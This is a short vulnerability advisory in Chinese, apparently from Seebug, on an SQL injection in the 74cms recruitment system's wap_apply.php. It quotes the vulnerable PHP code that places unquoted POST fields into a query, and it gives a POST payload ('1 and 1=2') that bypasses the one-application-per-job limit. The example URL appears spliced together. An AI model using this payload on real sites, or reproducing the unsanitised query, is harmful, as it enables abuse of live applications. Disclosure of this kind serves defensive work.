骑士人才系统sql注射 无限制申请同一份简历

2014-10-20T00:00:00
ID SSV:94141
Type seebug
Reporter Root
Modified 2014-10-20T00:00:00

Description

简要描述:

骑士人才系统sql注射 无限制申请同一份简历

详细说明:

代码: wap_apply.php:

$_POST=array_map("utf8_to_gbk", $_POST); $sql="select * from ".table("personal_jobs_apply")." where resume_id=$_POST[resume_id] and jobs_id=$_POST[jobs_id]"; $row=$db->getone($sql); if($_SESSION['utype']!=2){ exit("个人会员请登录后申请职位"); } elseif($row){ exit("您已经申请过此职位!"); } else{ $setsqlarr["jobs_id"]=$_POST["jobs_id"]; $setsqlarr["jobs_name"]=$_POST["jobs_name"]; $setsqlarr["company_id"]=$_POST["company_id"]; $setsqlarr["company_name"]=$_POST["company_name"]; $setsqlarr["company_uid"]=$_POST["company_uid"]; $setsqlarr["resume_id"]=$_POST["resume_id"]; $setsqlarr["resume_name"]=$_POST["resume_title"]; $setsqlarr["personal_uid"]=$_SESSION["uid"]; $setsqlarr["apply_addtime"]=time(); inserttable(table('personal_jobs_apply'),$setsqlarr)?exit("ok"):exit("err"); }

看见这一个sql语句了没有

$sql="select * from ".table("personal_jobs_apply")." where resume_id=$_POST[resume_id] and jobs_id=$_POST[jobs_id]";

没有进行引号处理,但是骑士cms对于全局过滤做的还是想当不错,有一个问题 每个人对同一份职位只能申请一次,那么我们可以绕过此限制,对同一份职位进行无限制申请 url: http://localhost/74cmshttps://images.seebug.org/upload/wap/personal/wap_apply.php?act=apply_add postdata: resume_id=1 and 1=2&jobs_id=1 抓到sql语句为: select * from qs_personal_jobs_apply where resume_id=1 and 1=2 and jobs_id=1

漏洞证明: